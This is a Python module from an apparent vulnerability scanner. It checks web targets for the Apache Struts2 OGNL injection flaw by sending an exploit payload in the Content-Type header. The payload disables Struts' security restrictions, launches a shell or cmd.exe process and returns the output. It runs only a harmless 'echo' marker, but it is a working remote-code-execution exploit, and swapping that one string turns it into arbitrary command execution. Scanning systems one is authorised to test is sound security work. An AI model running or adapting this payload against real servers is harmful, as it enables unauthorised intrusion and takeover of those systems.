import requests, os
from r_ascan.config import HTTP_HEADERS, DEFAULT_TIMEOUT
from r_ascan.module.other import Other

class Apache2StrutsScanner:
    def __init__(self, args):
        self.target = f"{args.target}:{args.port}" if args.port else args.target
        self.verbose = args.verbose
        self.timeout = DEFAULT_TIMEOUT
        self.printer = Other()
        self.module_name = os.path.splitext(os.path.basename(__file__))[0]
        self.payload = (
            "%{(#_='multipart/form-data')."
            "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
            "(#_memberAccess?(#_memberAccess=#dm):"
            "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
            "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
            "(#ognlUtil.getExcludedPackageNames().clear())."
            "(#ognlUtil.getExcludedClasses().clear())."
            "(#context.setMemberAccess(#dm))))."
            "(#cmd='echo checkvuln')."
            "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
            "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
            "(#p=new java.lang.ProcessBuilder(#cmds))."
            "(#p.redirectErrorStream(true))."
            "(#process=#p.start())."
            "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
            "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
            "(#ros.flush())}"
        )

    def run(self):
        result = {"vulnerable": False, "url": self.target}
        try:
            r = requests.get(
                url=f"http://{self.target}",
                headers={
                    "Content-Type": self.payload,
                    "User-Agent": HTTP_HEADERS["User-Agent"],
                },
                timeout=self.timeout,
                verify=False,
                allow_redirects=True,
            )
            if "checkvuln" in r.text:
                result["vulnerable"] = True
                self._print_status("Vuln", self.target)
            else:
                self._print_status("Not Vuln", self.target)
        except Exception as e:
            self._print_error(self.target, str(e))
        return result

    def _print_status(self, status, url):
        colored_module = self.printer.color_text(self.module_name, "cyan")
        colored_url = self.printer.color_text(url, "yellow")
        color = "green" if status.lower() == "vuln" else "red"
        status_colored = self.printer.color_text(status, color)
        print(f"[+] [Module: {colored_module}] [{status_colored}] {colored_url}")

    def _print_error(self, url, error):
        colored_module = self.printer.color_text(self.module_name, "cyan")
        colored_url = self.printer.color_text(url, "yellow")
        colored_error = self.printer.color_text(str(error), "red")
        print(f"[!] [Module: {colored_module}] [Error] {colored_url} - {colored_error}")

def scan(args=None):
    return Apache2StrutsScanner(args).run()
